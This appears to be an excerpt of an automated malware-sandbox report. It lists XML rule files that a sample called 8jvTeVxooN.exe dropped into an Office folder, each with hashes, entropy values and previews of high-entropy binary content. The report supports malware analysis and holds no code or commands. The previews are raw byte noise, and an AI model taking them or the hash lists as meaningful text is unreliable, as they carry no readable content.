Preview:	<?xml....7............p..:V.N..1;..E.aB.(.P..w=`..o...b..5n......o&+..:.C....u..S#d1P.(w'...q=.F...a...O...Y._......G...%....s0..$N.oo.5Bl.Wx.....u.....t&#./...U.+AK.cv...}i/O.O....$....UIW..=<...n....)..2%/E9w......^......g.Jb......_.h.-.h,....B...}&.85CoH.Z....V/_...d...V.!W.6..Q..Po..%<...6.]e...\........0...ke.f..,T.+.&-....c..&W...E..@.pU...}.0..!..1$..mV.k'.c]F2.N>!F.})..v...N....Oi.J_....:..eE,O).>.f' ...0..i...O-..sO...eBS?..9.....p..\.y......^..5u..2...Z.C...v/.J..W.`/].h.F..C;o..l."...6...X.\B.W..!...Y...P?...g.1.W..$....>.v......5...D...Nu.'v(..Uf..j z......U.\|G.....<....9LN..n....F...g.H....-.F.[.;.u$l.R..1...b.@hk.+.......@OT.&.vO.p@.z..!BU_j..!.SF.Fj/.w.......\|7J.M.m.......m........./6.q6x!..i..Bj)..+&.....<.8%P.D.....?.L0...\......<.9&l..1?\|dZJ...U^...\|..+..b_.%.r...$._.s\|..%.=.."X..5..M.1.h.$...};."....M .&..+^b.6.wSWV.Ma..C..k,rI..G<+.&........;....B .^I.'H..E....R..t.....Y........3 ..igK.F.............l...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701500v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.888023091669171
Encrypted:	false
SSDEEP:	48:oD6/nNGNK+fLGra1cg4ZUmmGTz7DCCWVKzZHWLtrwSH8D:Y6/NMKYGm1ccNILCCWVCciSY
MD5:	17E2C04E2C01D75894CF5D4BB3E9A7A2
SHA1:	58FA127061BBBD91C4CCBB9A54685DA0F4510816
SHA-256:	82A899421CB7F184639981BEBFBF48221F8A370BC383A642142D7B6C34D345FD
SHA-512:	6AF2E142012D26E74216C97866B90301270055466AB1B2FE925B36B1E91B31E1FA6B3508BAE4B3C1D346B05BD20F29B4B60263EBD16838AE234A1CD58AD7B9ED
Malicious:	false
Preview:	<?xmlt...Cb.S..4]...~..},.fje....L..q.....).q_..\|.Bp{q..}....8G..Y....s..Ws6......[........h.})4.....a.....gHs.K.TQ.x.v....EH..PJ.0....TW..;CB..U..h@>P0.....;9...t..)G`U......W]. ...D.3...W2....=..%.a.\|.. .........%Xmfh.....Y....\..J.t...9.... ..X.P..z.B.=/P.}!#...a...$.%...S..........!.d.x...D...&c..1.s.....tY.......;..3....SB.T.."...u'.<\|Nlv...pu..>.......a.XMP]>...`.. F.v...C..x._.B.&.k.....%'..7.)o1...S.&.p+<1.......,...K/...1.D!..=Y&.K....\J.!....s....Hi....B..g_.....E.3.9..u....m......@'.3..R.L.r...j..ANWy./...I....N..`.Y:BO9..f.......}E.........w..br.../m&..q(.S)..~.v.V;.E.Z..d.i.b...........K.~2..B.>...s...N.w9z.F!Ra.....$..)l.%....3s.SH.<i~K..l....y........#..S..=[...iX.%?E..........+AZ.S.&a..`.O..E.-.e..\|..V...W.X..v2.V...9..@%x....Y..3..0M.Y..e..K....h...........m.k..Z,.m.P .9...q.n.D..0.:j.X.)y.D..-...:.R-....A...h)/..9...L...U .\mC.9......h..B.r.+........G..z....%.W....._..............}....:4.s..zA;.l..<0G..-/..y..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701501v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.894835823977084
Encrypted:	false
SSDEEP:	48:ZwzFVF9u+5cmB4xFKUS2XSp9RSv3YudPaVhCemUBFOD:Wfcmp9wTUPCemUBF2
MD5:	413260A5803F2E676F776168D6820602
SHA1:	6BF01D4442BA801718034ED40FD09FF5D88A66C4
SHA-256:	BAE9097A6BC76179425CB298EC09E14AFF2662182719D35E145231630D21847D
SHA-512:	A982E735E07CB4DF72693F6716B876B0B38CA3F9D68919A546FE1CC13127F43DBD90DDA693BF74015D9EFF4BE815A9073C35BF5F9A0D15ACFD67E42F20AD3D36
Malicious:	false
Preview:	<?xmlK.<.K.......~R..Tt.{\|{.....nP.....].q.6R...RL.=b..y..7.%wF.R...O....[......'..Q....V(00.^..7.....(.WT.-.]VP.........J.h\|...:..TJ.H\V@(.......<... ...S.....7X^......gE....u.Ti...[.....q]..q...\.Dr]ChPpN..s.[....Ov...-N..n..Vw.g.......F.7^`H^I.%...A.yXD...o..x......Y&........]..pR .A..e.......e.E.,...B.p...j.......l........cCl-.uV.......B..+......,...s......\Q.Cb.g.....Z...Q.g.......j..^0..93..E.........V..-.on".R...8E...E..&..]....H.&.....C.4..'..@`....._G.$mw......~.9;..J.AZ)T.hG..+rr.kE..U.H.r.d.......f.E..4.......".yia.....Z.7/.b.%....s....._..h<}...g..;t/...a:.a~.....l.._Y..7.v.....U.$..[..h..;..#../.G..O..M./M...Y\K.)n.\|.z ....?SQu..T.`.......9...d..JL.98...c.....?.!O.9.Bu...S....1`.~q.T...>..A..<.w...+U..Aw.67y.&,.K$s.U].;..9.}...z.!......*..\|p....QF....8=uL..A.+a.-5r.Z%.6...p..o.:+.wuU.q.>....d..qh..........~..RZ..`BLc.V.......d..p ..\...E..&".)....IT<.F..L....HZ...X....K...=.M..1.TZN.......E......j.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701550v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.865236832606855
Encrypted:	false
SSDEEP:	48:IGtDC7d/IQoNeKjuJOLFS+KRn7pty/aeh1ND:VDCaQoNejJOLFSXR70VZ
MD5:	893CF7F87A3FEF4E4D6AD3E4540F04E0
SHA1:	956CF9B140602330ADEEC8AFC9B003F38AEFC9AE
SHA-256:	66C01AB06980D1D805E700B4BA12931E239AAEDE6D1A8B36F1BBBDD7B176CF70
SHA-512:	17A0033B953BE8DCE99F0916E792F89CC85AD64E16DCB65E5E4BD3928D1EAA6471254350DD294F13710F78FDD0F9102017E4CCF032A0B8AE3B4BF4054D75E85E
Malicious:	false
Preview:	<?xml;G....M....x..U.^.$......ZAqk.6^.i. o/8'...g.Qcc.s.91g....#..=O.....'..w......:.WT......L.!.v&yd....>...O...e....#.I...}Y.@.........+.38cl...ZP..H.....Y-..x.%?....;xC.......H.,..M@.\|Dh.......<.S .+...u....C...Z^T._7.K...G...i.qh.xt.A~N[.....7.S...x.Ce.c..l....9^.$M..&MI.l.....F.H..}...\|...e.$S..[...B.........L..?l.....F]....z.."Nx..Qb`..#R.....#..o..c...w...$.....0.i~.UQ.......O.....HI.c....../\|)}.....Q.Fzf....Z.mi.z.jD...[.....U....o...z.bK.1.....3...c...U.T..\.@./.\.$..hV.<..`.&R...U...0....cb....Y...=...1....6.x..9Z.W;....?........l).....Q.N8.0e&S....w`......,yYRMG8.r.Z..j.#_dP...O..I.s).t...a....k....nT...jB.\..;.V...#Iol..`P.b....Da.[..6.....-!..%..GP.%.....d.\|..P.........m.k.....gH......9..."]CB..8...U.w..`.I.t....Z.[a...G....L....l...R.$...a...Q...$.$;}../..s.....".p....c.@...I..G...v2b>"..... .D...}..F...........1}Mo.w.].?u...+.l%....{.0BI.M-.)@.j.dP..=T.Z.{.9.T.a.......r........S.n.n...ZM.;..2..8o..R\|..q.8$.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701551v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.884994849122542
Encrypted:	false
SSDEEP:	24:PFWqhDT+BF79qSpTWSNZrfALam68Fq6OBhevbE4daqMOgmoVMbg15Tkcn6aGB+gA:XhP4F7gUWSNZrod7wqIkY5wU6Rz+BD
MD5:	4F4741B795F32F4D548E2D733E26DD34
SHA1:	CC9122B82D4CE0A817963E13EA08C4C06F306C90
SHA-256:	546B8C7FD9427A65134D9FD48637D44F8AA6997B11EBB34DFE669F1181FCF1E4
SHA-512:	30F4806763AF6B769F67E9822B5BB6495B028F25372DEDC4782D714620C51119B519025240572D4F130B53BDC706CEC5F903D3B397768ADE8F7F273C6D4365BA
Malicious:	false
Preview:	<?xml.Pefj6e`.(.v..J........#...h^..=....l..l..S...F.`X[...x..f...Q..<Li...vVZ. ..{,...A(FC.{.X...R..m..R.4..uF..4....bOYO.....5......t.%7....o:7o._X.vz.../vzv.AYW...w..h..on.cmz.5...H.F;.....]K#.5.bm..F........t........,.n.2....h...b...G.....p}...5x.V.0O..7=.....d..{1j..7b+..P...C...q.UC....&3.../...~;SY8..P.hc..r.YT..J.i...T...`.{....ZJ....mt..@i.9.;..V..x..9."X}.E&!.16...a(..X...R....+Ois e.9;v.t...O..H.....C.Dr?%.u...v...jt.o._...1.E.P....\.1......<`.n.].?...?...9}...c.R^9p...b..9l.\|l%d>...up.u..<V....\|]..yz\]V.$x`.)6...@....`B&.).........>tf....6T.(.D...7%Wt..<@...F_bJZ... C.-.R....[.%..(x....Q....'y.MI...5.U...A..@..hd......Z.#.L.'].;.q.Pr0x...B....<....NC.....).nw.m...{A....Z.A9.l....f...=.d...G......x8.e..v.P...J..W:..a.q.K&..q......d ...D...s...L,.4.7..@..o.5...S\..7&......<..y...z..F......MYV..).Z=...3.(.7....s.>.Z.N,.)M.e.i%..'1Q...Yu.? u....'A..u......Q....P.:...Lv.o..^./.,..'(vFL..1.....(....r.f.L........T...[M..1....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701650v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.898720009418751
Encrypted:	false
SSDEEP:	48:aYpCAI9DgYNVeT3zltjRiunC2ZmS3c87xoIRGyB5WD:aYpCAOn2zDjR71mSjVQy7O
MD5:	6FDDBBF394E714CF45BB80E10E12DE6B
SHA1:	EF34503A152ABC0EC4B3C2925BD5D1F0BC9F2FE3
SHA-256:	7B939590C00A965BA1071617ECDA1A0EB0B1D3CFC6DE6FE39B0A68DC3ECC0111
SHA-512:	C3BEBDA04C243CFFD7EFCD279AC8F62FD36064AB9A478040B3391B2E703AB718ED2EC7FE43ABEE97BE04CA04549B9FF2F912D88F48BE5946D166DDF6E55BC034
Malicious:	false
Preview:	<?xmlvS...-y.......A.j.>w$..9.W...C...n.....!#..Z[..s.........#).\|.x$..fL.........VK.....+.,.[v.I..;..^h....6.......a3.T.N..Sx..hCz..A`...`.....%'v....?...S.._....O..@&..h$..E.-73.>I.rN.....:.....+.h.....l..B.&....f."!`.......}.....H..\......F.../Y...\.1b..D.]..JY.1..~......6..7].@...K._.S..s......-.F....m.kUM..$....?..5.&..1....wMw.b.6..d...Z.K...S.pn.b<S..f7....tj...Qz..G99L.....J\p...bZ..^o..HhC.....c^jb........4.}.n...G../.8....../.2.......p.1.+g..J..^.y.....y........F...8....c.....B,...._....n~?..\|}.03.D.1..y.p.Mgd.q.....e.mA............8...c...@....g!"r.".f.(.=..<...W..~...N...u...6).......eO.......^. B&.\|....2~.%.:..V..f>..92..c.....C.o...-Hn.5.T..23.p..C.".]C6......[.b.....~...H..B......9k..n...D..>G..F`.........Rv....4\|....2..\.;........;.........HD..K.(xo..e...<m.Gq...>.l..!~'..p.F..N...t.X#.a..I.J...wF.m.5)!W4...Vu:.... ..q...1........]S.a...5.-...QbA\B..=..s0MP........[.D...~.....'.....6...pI.r E%I......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701651v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.882953188050547
Encrypted:	false
SSDEEP:	48:31nYAaYDobdQhPPNxX6JLSSn+0gQPNskwSYD:3OAaYDsShtxKhgGPNsk9E
MD5:	79EE27405E16E132F6E45DE6BC505702
SHA1:	895A3EA725443602E7F8192A2FCC75698202E472
SHA-256:	4787D08FFD5EEB4DF0F0A52173A98D54EEDA74F53816872BC35B3D129C02889E
SHA-512:	BE02AE6E5628E910D62BA9B9EA733953F7797059E7ECAC7B0B0CDD821E6D79CE984400D42725B9BD2BA873513E9B4B58892CDFC53621AE97F53747555960DA8E
Malicious:	false
Preview:	<?xml..H.D..k..q..Uo...n..;N....#..z..il.....j.H.X.s.$"K...7..C......TVs!...eD.....h4.j.6.!A&0...1..poI8..36=Vb..d..d....q.. [..G..].a...M.T.t+./............l.....b;..A8.P.b."#a\|`.<......H.4'.-.]>..E...R.:$..m...(.z..=.=..,.MY{...p(1.;i...8...,.v..1NP6V_.I&..+..9mj]@`-..B...a.#sE.g...........1.....p..I.f.q..iyC....`9!.:.x.d.N..s`S..e.t.PSU.......].[.......H6..l..4.J.%\..S..5.&..m...5.&...^~.u......J.....x!..P.Q.W.v..t!...i?r..h.UG....5.W5/...#Q.d....w@.H.X....R...0.%..>..l..".X..pk'..!R.`.LVm.>..6.E.1&m...>l6...k.......c.....I..)..:...c.tH.N........S..'*.&.,.gk......"jbI./.....Vj3....7.8.. .LX..?....\...f.zIR........M!q .....sS.. ...p4.W....r..1$.o/0#?o(.a."..{8..e.'....V.+_$..6;...Jp.}.J.-.2.u.}\|Jd..d...........,......j...S.1)3v.....B.Q..<GF.).@..%.-...A..Y..G...E.f..,...KW+...... .<F......K...Zb3...D#..h...g.}4.......o.....S..>.M.H..O...;1.>..Y.......>..?.....@...p...#b.yP.5.......^.7....5c..~...Q$;.E.^<R....iz..?Y$..<H7~...Ky'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701700v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	7.883218129167171
Encrypted:	false
SSDEEP:	48:DuTM+T2OmPSILfT60UKvYZeZR0TDW6IX02WmF+tD:DuTM+2fTfUKvYZO0W6IkUF0
MD5:	7207A99422017D2B3FCBB46BEED56E4D
SHA1:	D5939CD7EAD7F2216D89426869B369CC482676ED
SHA-256:	F1F67364A9EA86F3C40EABA8A941D1371A424369128764E7161E0B81EAFEB922
SHA-512:	8CAB189FAB6F93F6E49013D1D7E0F4BA10CFF519DFC11634C699E9DB21772D4DD030C55A29D81954666EF6064403228D7B63E433044D697CCBEAFAAFF45AE119
Malicious:	false
Preview:	<?xml.(b2...y...z..~E.1Y....g.....0#V..xK#.x..`..#...T2......\|.U6xir...R..@.b.TO....."z....N...D".qE./_.JC..XZ....0(... </...r...9......[..K.RA3....B.ny.D.r.vA.=....-@..G.bI.?-.H...0.X8.O...n.3:S..cZ...'..........S...}..-\q.SB..&.R2f\F)b.WO..f.Y..5.N......l...cu....b.w..p..)..q.6M0sn_l....B=..n...<.,....$./...#..X..."..{Qf..(...tev.R,..i.......bU.1.9....:....6..y5....R~@..n......l....u..F.o.....e. ..tv d.......K."p....^:.'3..z.#.....j....A........Z'$2....."..<as.-m....<(.7...P..T0.]..B.?.%d...8.......i.@Ee(..........q;...E.JO+...N/..zm.~....xK.o5.e...M...@..1..2..p.......Kn..Vr./X."...rv.-.5\|.N..7g..V.p.za.(..!GJ5o)..\|Y 0....c...[.Utf..g.!.R~.q'.....C.F..S......."........yC.j..+...J?..@.$V...T.2.Z.>...F....n./.c...rY..gq....1R.8.C.:...e>.....@..w......l...gl.3.r.7.....3.c.....c....Y$...`..OhO.s.SJ\|......H.....U...[:L;.y12...Y.-...BXFVWo..b....._.......R.,.....8..@.y1.....'.......)...5..\|.U.sE[..y\|.#.H..#.K.=..-> X..`..%.r..'.lK.,.-aP...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701701v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1756
Entropy (8bit):	7.8887383292829165
Encrypted:	false
SSDEEP:	24:lOvJ8LwcW52th3GCz3DvSKpPYP5WgHqaNl46YKZVDrAO+7so2nmRl0HvDSObD:l4yEcWkTfaJhgHHKZyO+7NRMvBD
MD5:	F966DC7E5CBA75BF3A11FB2225DFC028
SHA1:	5C23DA3B5157BBEF77996739573B58B7A2EE79C1
SHA-256:	0A3850693C97D0EDFD049B43FFEAA3944C0BBA5303064EC6966988B6AB23638B
SHA-512:	4BA7662492D1863D863BA1BDF393CF0D197940D29140183E52BA8EFA6B4F0A15805125530550671EE71A2A72499B12B66736D271B1BFBBB80F4920B6506A1718
Malicious:	false
Preview:	<?xml......&..<.wadIBg.....!i.$..rzR....D7.&a..A...IH.E....\|..zs4.8q`}...nz&A&WaO..^.\|..](....Z...R.?w...d...."..X...z{.....S.....-B7.qV.......K^..I.,Y?............V..s..Q.&.-..\|....Dk@t...5.G..4..2..WI.e.fZ>.E..F....\......m.v..h...I...,..5I.n.6UIMJ..(..Xg.,.2..../..1'Db....; d..m..w...[...+e.. Y.....{...W`tIq).....i-..!KI.Zz..tZ.........J.TA..9N.....!...q..?.?.y....:..'.$..1_...x.&......, .-hN+.;j.M..[...4.Q.....%.S,.l.8.7....J.`....g.C.f.n....v.`.....7....}.7.....S.i..).....'...JN..:.[N...&..........bx,.NH...}<.k\..V...7f.G.W..XC.jR.F:z....8..V..u.x.r...+.*..?G..U.."..:N.ve.......U...il7..v..Uhb..d(....`..).....St..O.q... +..N..o".yw..$Zo$..z.j....R..^k......6.".5.y...Ui]M......\|..J'.P...=.....4.D. .:......tE.}......B...r..Z.:f.~.a./..........Yb.E.\.....c.k.o......}93(.f~.....e.7..k.U-..4...B.:.2iJ..B..$..8+..{i...x<...IT....V...X.+q.h.J......i...S.. A...b......^..l=....Y....T..!m:\|.R.,z.~p...<..../...M.F...O.0T.`a.QHu.l...'.p/.^k.....].......=.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701750v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.871607690947691
Encrypted:	false
SSDEEP:	48:ksIskjJTI2Q9QNxjK9SvN79r+OxBaryhCRgraFt5D:HkjJ9Nxj7laq8gg
MD5:	8254FE25D9CE72258067956B153A8FFC
SHA1:	98E28AF191B1F9273D717F7B757F72A2559AE825
SHA-256:	A2F8F71E094A24BA92110989A5AFA4CCCC3B287F5D18D66C1D650073FFBEBBFD
SHA-512:	194D081ED2FD1A4BC6A04B4BD3F15F8A9C7FC1585CDEA93372B0FCCB3543BA158018FA8DCC9584C15297E58741BCCAED1EEB7946A90B30CF278C96CD1A34A539
Malicious:	false
Preview:	<?xml.9i(....$........[ %e5.tl..h[..7..........".p.1...%0..y..8wq8..]...G<...3..c.E....M......j....pR....]..}.R.\&.W.....=..T..........._...';..>T.2..<......,...N..p.8%.r..p......t.1}W.:....I....._!.b.......1c.M.I...^.!....[.W.n..:...v.Gl.(.....C.c.v....\|.{eD....k.`6.....a.`h...2X.................L..>.......@].Z[...J....D./.-v+.d @...L.W..@.9!.....y..v...8.....8uU.={....V.;".5..)....Fq...%....&2.>.'...aW.NK..\|.?v~R.J..k.w...).q.. a........N..^..3.di...O._..9.......\|.l..l......p;..z.H..{..&.#.8w.......MbwK.He6.Oy.s..r..L....?...O9.A...7....X..C..a.kl..HG...\|..3<.#^i........Q..&..p6A......\)"S.....P6.D+."..l%...KG.!_1]P....^..[".Bu..qsbY{K;.H.H.TO...A.......y..T.N.....d.7/...r.{...E..D.4h"...X.....P......M..........J;.w3...0K2..nK!..a%_p..0x.i>j.1+,..zI:...Z..U.....]..-Hg.j..z.<x.c.....T?..4.em.a..YP>b..#`..K....Y.j0.=..%..`.)CWO}d#.?....:.....c......a^.S[.w..]..:..,z]...CI.D..h1.Ey}..z.+(...N.f..[..1.L1...(2\?7m0.......].jw.4:u2.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701751v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.8930576433788335
Encrypted:	false
SSDEEP:	24:7Br+btQrMAXnsbm6LHIYQ5Ki6a2n9u0YwagbFMPbhN/oN9DSaFqLn9CymYzvZs/u:Vrkt4X+7OF4wwGPbA6aFqgAZkOshRcD
MD5:	5F66BBF5E0E3D73DC47007D561509B79
SHA1:	FF2783D7584E0028BA7AF84131A4D5A9536AF173
SHA-256:	F5DF5ADD41B27CFB57ABF66DAFE7B0DA27841AD1642881FCD77D351A9C8A011C
SHA-512:	BA4E97478899A52C2389888B4BFA3F2DFA86F77E351794CFC8323FBE38EB062E31B56143F0C94376385D5A9FFBE21B9BDF313302C05B24F07AA0C50EA5A67FCB
Malicious:	false
Preview:	<?xml.... .c9.EB..`..5...../9.nR.......\.N.v..2..81...[Puu.....&H...h...J.&.......n.1HC...@....B.yn..w.....N.4..N~.S...c..8.8..+......`.o4.M.....Lk.#..P..l...}.]!A..../^\|.>.]s:.0...Y..B7...O.l.]B..J+.S....%....Q...`!......._U...v.&.0.hms...a..`.kN.~y.....z(."j....R.M..P..]@.......$f.6............u...v...$..D.e3.........~.;......P........RF1..4.a..Tx}U...\.b.8dR............X..w...,.%..C.... e..^r\|N...W.L.<.s...M.h..._J.`Ab...s......z/....!.3...L.t'...4..QH..Hw.~...m...)...{../D......}zB..I.DT%7D.C.....3Q...>..3}{56$.....%P.M,.{.G..gy..'.eN....Y.d.?..".....On.g.......x.IN...L..beSp....t....j<...uz..0.S....}...z.....5.}J,.."...xF..M..Sy(7..D.(u..!B.C..G.....!e?..:.?..A.d..y..0..g......_->..mR.T..V.\|$....E.N...E.3.`..U.8>N..... .b^g.....[Hx#.I.`.).B..z.$$.x=~1LR9.....XQR.(.Du...Z.`...v!t+6#......l.h.:.e....]...y.~.....P.H.........f.c.D.?C..B.... ).\..DOJ.!..tBd.....C..u". p.......z..K...f....}...)...i(..3zy.....x:t....X.W.......)T...[.I../.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701800v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.864461252990308
Encrypted:	false
SSDEEP:	48:LRBRjU95AnZ92tcSnMywCAYxq3j7KOMc2u+rE9DhFD:LRBR2tqCMywIQ33g/u+w5h9
MD5:	A0B09DFE95A81AD257F60A9F34697D64
SHA1:	6C5505C12AC7E7F7989C72869ACFCBC6EE9E90A3
SHA-256:	3093C630FE21EEE3F875D8971C4C38B0E977814A682C0703A287184ED0A8D709
SHA-512:	9C88970357E2D418316D3E9C037F63ED19292DEC5AFDF505C12987B36D6C712759BB4FDC1032CA366D48F2DEA17BAB31154FE7969F4E21F045596F5D805C6896
Malicious:	false
Preview:	<?xml.#.o...(.V.N....F^..XV..p...R$r"i'............1!....S\./..1...{i}.U.._2...lP....F.a...j]lMp..8P.q...z..Q...W....?]..Mi@.._...;...... ].=..o.....~y..+.+4.a.d~...;K.9.Qg...9..n..oU.7FaChp..a..a..:.;}......92.5c.6Z.....M ...L....}..-m2.......l.....l.w.;.VX.k8.X....Q.0r......f...../..q..%.........T.E..M.V$.Gx....j.&;.wIM.....[.p.?.K..(..m.pC...DL.]....1.w...x....q..T...=. .<np#.......D..Cr.&.....=.69.....1..\|..p.#P..`.lX.W.Y^.8.\..R... .Xi,......=..Zg..l;._.i4.p_.i...]G...P_AF....!A..Rnw..BK1.,.....E..s...P..<.{.V...B.Y/....= .d68:I(..RN..{F.0.}\|..uOU....+.8d7.K.u.}.p........ROLY.~....O_c..1..T..5.Yb...C%+.=....31@^.NF[f..H.<2...}....Z.......keR._a.....S.......d....X.m.@}X..#w.....\|.P;.d..^..{.5.4f......`Y28.6.... ...S....n.j.....<P.V`.fX....E.`...7/.).c...G./..G..m..E.KoL....0.!T_.0...M[....y.ba.u...m.'.V.....X......;.0.<...9........._..C{..<BWP.P...?K....u.8..Hm...^w[......l.:...D..\|~p.....=...d5.....Ymu.)..i.. ;...A...z?h..,_...`.S6..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701801v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.8814165423523335
Encrypted:	false
SSDEEP:	48:45p1OCQhZXRUysEMZ6tp4GxkxhuYZBU0/gZUvOUBQkXOR6D:Sp1wXRZsETtphkxhvU0oSvxCkXOI
MD5:	DB8F6B1269005354230F1C5EAA98F20D
SHA1:	58EA40335B5ED2ECC6106985E512559E14CC2E39
SHA-256:	BA903EBDFD181C454401260FA13595E37C5B660C377770E77F9844B9CE8CBB49
SHA-512:	1AB01CB6AACA85D9070D9B5EE33DFBF80E92015BF8369D9F112B43072D71CA28A0E0FC8E8A0E8CE81884A49B8E62221D0F77BFEED93FACFB9DD7BEEF4D247501
Malicious:	false
Preview:	<?xml@....2\.s`Z..V.Z..x....<.......s.`0.f........V.......j.[9}..(..)I..S;.x..7bR.,..L.S.z6.i.G...-zc.5....d..3..!......U`..W....o... >/<....G.7..jS.....V....HS..N....D........d%q.....0.Yjb.&..h&....e..e....r+7.j..6.rB.8....-.=m.X.......?9..._"[.......]`..~..C.._+.I..r...b.....B..N...c.....N.Y1...T.5.g[Q.......>.6..../..d.....u.d.w.R9......:..(s..&>..2..}..''.X_....V....P...bW...k...\|.Y.]..i\..6a..'..e&.....Y.......jfzM...ZO....wZ.....R.......2..d.......j(..U.......L..h....y<8p./.I...v...D.n..d.f.%.Qk/}.f.t..A..3.B..y.\.Pu.......4.,r.Q@..0..IDB3.E..3...R=..9..C...{.........]Y.."......R.....vM...g+6...4-...{+......].n..&...G.......T.+.Bj..I..`.Q.n'.~NR..a.....J..i}>{.X.. K6.Q...Q....w.}.c....kI...Mn...._..^u...~Rxn.0...\|..#...{.../r..A,..F.....5&.........g.....5.~..O.......vt.\|j...p........i...l...$9.H...Q\.........&#d...2..6.m;.,..e...HT.`.wu.d...4.&..g\e3.....[..\|......(...*.f..Y+...>.p.j.......L.qj.!.......L,qA.3.P+...1..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701850v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.874276150971811
Encrypted:	false
SSDEEP:	24:B1R+skDhm3Ttb3qPADGdkoCwxahO0kezLwiRpltnsz4s4lnhol6PRHnPHKLOtGFp:2m3RtrwxaO0BEihWz4sSpnPHNcqqD
MD5:	C1109B2E9A177FA6AFC11C2211089C2D
SHA1:	05971B0B9EFAD4B17D7DEC0F8B393E30EA8ECA9C
SHA-256:	2BEE3500CD700BD067E0773F8E0B5519089B8EF5099C01D585F872931DEA1B96
SHA-512:	E5F46FF84762F1950D23F26B4C9646477D8A8C6D15CE5922516AD02DF8C060FB646759754603B276BDCDE3C6799A1C961718C67642AF17C0A2D205CBA91ADBEB
Malicious:	false
Preview:	<?xml....E.!y...Gh......}.q...n.A9yn\|...KB...r.$R...(.8.......!....?.{...J&..dP..W1.#.}.......dq...7.d..y8.;+.<....D.P.z....F.@J..N........d.OH.V.5.{.....GGQn.S......J...o.i]<c.c......e.%.n#b.:w..v.&@\|..68d_.b!.ZK.....BxF...._..{..Y...f.....@{..5.o1g.....[..G.WJ.-..[...g..8..h..Vi.T...yk.)o5.A..o.3..%2B......v.a....5._..'...M.....n:...d.^.A.]..e.pq..S.Cp.F...<..S.?.9;J..z.Y...7..D...>~..sM...(6....F..Z$.C..........".t..o...f..L.[..h..Ol..k..\.....=.......3...w....X..cp.....\{.<..Gp"....#.l.....w...QM..[.I. `..K.k.KI.\.e..h2<..u....s....n.....'.R....Gj..67 BL._.{M.'.....d.p..$..u(..~;..{D..$...6.....(_..OL...h...Z...V..$..4U....u.l....DD.....l.)Z#...~.G...7...'.bg~=.....!AGmZ.N....,>u.~[.M..../.b.Y...f..@3=....}...A4w.z?0Q..j...8.2...[......g..KUR.M.y$T..M.A.8.(...0...3.[l........ \|.....-.......C...C.M2.H:..S.C.y.t8.+).......t_s.U}..tE%7X]eY.#..L..9..C.<!!V......W....-'9*.\|g... ..].3@....~hy..lc.o...4...=..._....h-.c.w..H.a..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701851v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.891690631078306
Encrypted:	false
SSDEEP:	48:MoZF95SSgDcji4mh8sheXQUkNmXWyBlatHSD:9N5SSIcji4O1eXDkMlaJ6
MD5:	DA24206F20571980BDA1BF290DA0A4E0
SHA1:	B3601AC38D91F0C1D86B61D67DBF301804BF640F
SHA-256:	8A6F1851DB8796D29FB84416AC017F742B9F12ECAC912DD9DD5C2750653BB16F
SHA-512:	C30AC3CE96B474E21694906C5E5B340D570ACEDF0C946C8DBDF3F422173261DB88B548AAD086C14C045ADE4378DEA14C5B893FEDFB23BED34E7CB7EFDB98B2B0
Malicious:	false
